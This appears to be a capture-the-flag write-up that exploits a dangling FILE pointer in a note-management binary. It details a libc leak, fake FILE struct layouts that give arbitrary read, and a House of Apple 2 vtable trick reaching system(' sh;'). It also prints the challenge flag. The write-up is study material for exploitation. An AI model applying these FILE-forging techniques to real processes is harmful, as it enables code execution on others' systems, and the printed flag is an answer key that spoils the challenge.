ihyh
fclose() without NULLing the global FILE * lets a 464-byte note become the FILE struct, turning fflush into write(2) and fwrite into system().
K17{50pp1n355_0f_l0v3_f1nd1ng_1t5_way_1n_f1l35!} nc chal.secso.cc 4007 · handout: chal + Dockerfile (ubuntu 22.04, glibc 2.35, redpwn jail)
“inspired by willilooo’s challenge, but endorsing hatred instead!”
If you’re stuck, the note-management code (create/edit/delete/view) is clean — bounds are checked, delete NULLs its slot, reads never exceed the recorded size. The bug is in the logging feature that looks unrelated to the notes themselves. That’s the part worth re-reading carefully.
1. Recon
RELRO Full <- no GOT
Stack canary <- on view/delete/edit/main (create has none)
NX enabled
PIE enabled
Every mitigation is on. No GOT to overwrite, canaries on the functions that matter, full ASLR. A hate-note menu: create (malloc(size) + memset + read(0,ptr,size)), edit, delete (frees and NULLs the slot), view (%s), and view_note_history. All indices are bounds-checked 0..9. The note-handling logic itself does not contain the bug.
2. The bug — a FILE * that outlives its fclose
static FILE *fp; /* .bss */
void view_history(void) {
if (!fp) fp = fopen("/tmp/log.txt", "a+");
if (!fp) { puts("Failed to open file."); exit(1); }
rewind(fp);
puts("Here is our entire log file!");
for (int c; (c = fgetc(fp)) != -1; ) putchar(c);
clearerr(fp);
fclose(fp); /* <-- fp is NOT reset */
}
fclose(fp) frees the FILE structure back to the allocator, but the global pointer fp is never reset to NULL. edit uses that same lazily-opened fp for its own audit-log fwrite/fflush. So after one call to view_history, every subsequent edit or view_history operates on a freed FILE — a use-after-free, reached through the logging path rather than the notes themselves.
This becomes exploitable because glibc’s struct locked_FILE (_IO_FILE_plus + _IO_lock_t + _IO_wide_data) is 0xe0 + 0x10 + 0xe8 = 0x1d8 bytes, landing in the 0x1e0 chunk size class. Notes can be up to 512 bytes, so a note allocation can reclaim exactly this chunk, and its contents — the FILE struct’s fields — become fully attacker-controlled.
3. libc leak — create memsets size, not the whole chunk
create does memset(ptr, 0, size) then read(0, ptr, size) — it only clears size bytes, not the chunk’s full usable size. Requesting 464 == 0x1d0 lands exactly on offsetof(struct locked_FILE, wd._wide_vtable), and the chunk’s usable size is 0x1d8 — so the last qword of the dead FILE, &_IO_wfile_jumps, survives the memset untouched. Filling all 464 bytes with non-NUL data means view’s %s runs past the end of the note into that surviving pointer:
view() -> 464*'A' + "\xc0\xc0\xf3\x98g{" -> _IO_wfile_jumps -> libc base
4. Arbitrary read — fflush becomes a controllable write(2)
Rebuild the note as a FILE carrying the real _IO_file_jumps, so edit’s fflush(fp) walks the legitimate write path — _IO_new_file_sync → _IO_do_flush → _IO_do_write → new_do_write → _IO_SYSWRITE:
_flags = 0xfbad0000 | _IO_NO_WRITES | _IO_IS_APPENDING
_IO_write_base= target ; new_do_write's buffer
_IO_write_ptr = target + len ; ...and its length
_IO_write_end = target + len ; == ptr, so fwrite's xsputn copies nothing
_fileno = 1 ; write(1, target, len)
_IO_read_ptr = _IO_read_end = 0 ; delta == 0, no SYSSEEK
_offset = _old_offset = -1
_lock = <zeroed libc .bss>
_mode = 0 ; _IO_fwide(fp,-1) must succeed
vtable = _IO_file_jumps
Two flags do the essential work:
_IO_NO_WRITESmakes the_IO_OVERFLOWthatxsputnwould otherwise fall into return EOF instead of writing anything unwanted._IO_IS_APPENDINGmakesnew_do_writeskip its repositioninglseek.
edit any other note (its trailing read(0, ptr, size) would otherwise overwrite the FILE just built), and the target memory lands on stdout. Used to read __curbrk (exported, giving the heap’s break directly), then to dump the last 0x21000 of the heap and locate the fake FILE by searching for its own _lock value — no main_arena offset needed.
5. Shell — House of Apple 2
IO_validate_vtable only checks that the vtable pointer lies inside the __libc_IO_vtables section — not that it is the start of a vtable. Pointing the vtable 0x20 low makes __xsputn (offset +0x38) resolve to _IO_wfile_jumps.__overflow (offset +0x18) instead:
vtable = _IO_wfile_jumps - 0x20
edit’s fwrite(..., fp) now calls _IO_wfile_overflow(fp, ...), and with _wide_data->_IO_write_base == NULL and _wide_data->_IO_buf_base == NULL that reaches _IO_wdoallocbuf, then:
_IO_WDOALLOCATE(fp) == fp->_wide_data->_wide_vtable->__doallocate(fp)
The wide vtable is never validated. Everything is self-referential inside the 464 controlled bytes:
+0x000 " sh;\0\0\0" _flags -- NO_WRITES/UNBUFFERED/CURRENTLY_PUTTING all clear
+0x088 <zeroed libc .bss> _lock
+0x0a0 NOTE+0xe0 _wide_data
+0x0c0 0 _mode
+0x0d8 _IO_wfile_jumps-0x20 vtable
+0x168 system == (NOTE+0x100)+0x68 -> __doallocate
+0x1c0 NOTE+0x100 == _wide_data+0xe0 -> _wide_vtable
__doallocate(fp) is system(fp), and fp starts with " sh;" — leading spaces keep the flag bits clear, ; terminates the command, yielding system(" sh;").
6. Chain summary
view_history→fcloseleavesfpdanglingcreate(464)→ reclaims the FILE;viewleaks_IO_wfile_jumpspast the memset- fake FILE +
_IO_file_jumps→edit’sfflushbecomeswrite(1, any, len) - read
__curbrk, dump the heap, find the fake FILE by its_lock - fake FILE +
_IO_wfile_jumps-0x20→edit’sfwritebecomessystem(" sh;")
Notes for next time
- A
FILE *that isfclosed but never NULLed is a full struct-forging primitive the moment any allocation can land onsizeof(struct locked_FILE)(0x1d8). This pattern is worth grepping for specifically — it’s less common than a plain dangling-heap-pointer UAF, and considerably more powerful. memset(ptr, 0, size)on a chunk whose usable size exceedssizeleaves the tail intact. Choosingsizeso the tail lands exactly on the pointer you need leaked is a repeatable technique, not specific to this challenge.- A controlled FILE does not require a vtable overwrite to be useful on its own:
_IO_write_base/_IO_write_ptr/_filenoalone turnfflushintowrite(2), and_IO_buf_base/_filenoalone turnfgetcintoread(2). Reserve the vtable trick for the step that actually needs code execution. - glibc 2.35’s vtable check is a range check, not an identity check. An unaligned-but-in-range vtable pointer re-maps every slot in the table, which is what makes this final step possible.